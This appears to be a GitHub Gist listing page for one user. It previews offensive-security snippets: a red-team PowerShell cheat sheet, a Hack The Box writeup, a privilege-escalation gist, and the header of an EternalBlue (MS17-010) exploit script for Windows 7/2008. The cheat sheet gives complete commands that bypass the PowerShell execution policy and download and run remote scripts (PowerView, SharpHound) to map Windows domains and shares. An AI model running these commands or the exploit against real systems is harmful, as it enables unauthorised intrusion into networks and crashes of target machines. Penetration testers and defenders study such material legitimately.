Skip to content

Instantly share code, notes, and snippets.

@bahaahassanieh
bahaahassanieh / Exploitation.md
Created November 29, 2023 20:35 — forked from yezz123/Exploitation.md
Pentesting-Exploitation
@bahaahassanieh
bahaahassanieh / RedTeam_CheatSheet.ps1
Created February 22, 2022 21:41 — forked from m8sec/RedTeam_CheatSheet.ps1
Red Team CheatSheet
# Domain Recon
## ShareFinder - Look for shares on network and check access under current user context & Log to file
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1');Invoke-ShareFinder -CheckShareAccess|Out-File -FilePath sharefinder.txt"
## Import PowerView Module
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1')"
## Invoke-BloodHound for domain recon
powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1');Invoke-BloodHound"
@bahaahassanieh
bahaahassanieh / writeup.md
Created November 7, 2021 07:12
Secret [HTB Machine] Writeup

Secret [HTB]

Enumeration

Open Ports

Ports Service Takeaways
22 SSH OpenSSH 8.2p1
80 HTTP nginx 1.18.0
3000 HTTP Node.js

NMAP

@bahaahassanieh
bahaahassanieh / Privilege Escalation.md
Created August 23, 2021 05:33 — forked from A1vinSmith/Privilege Escalation.md
Privilege Escalation: Systemctl (Misconfigured Permissions — sudo/SUID)

Create Root CA (Done once)

Create Root Key

Attention: this is the key used to sign the certificate requests, anyone holding this can sign certificates on your behalf. So keep it in a safe place!

openssl genrsa -des3 -out rootCA.key 4096
@bahaahassanieh
bahaahassanieh / eternalblue7_exploit.py
Created February 17, 2018 21:03 — forked from worawit/eternalblue7_exploit.py
Eternalblue exploit for Windows 7/2008
#!/usr/bin/python
# This file has no update anymore. Please see https://github.com/worawit/MS17-010
from impacket import smb
from struct import pack
import sys
import socket
'''
EternalBlue exploit for Windows 7/2008 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)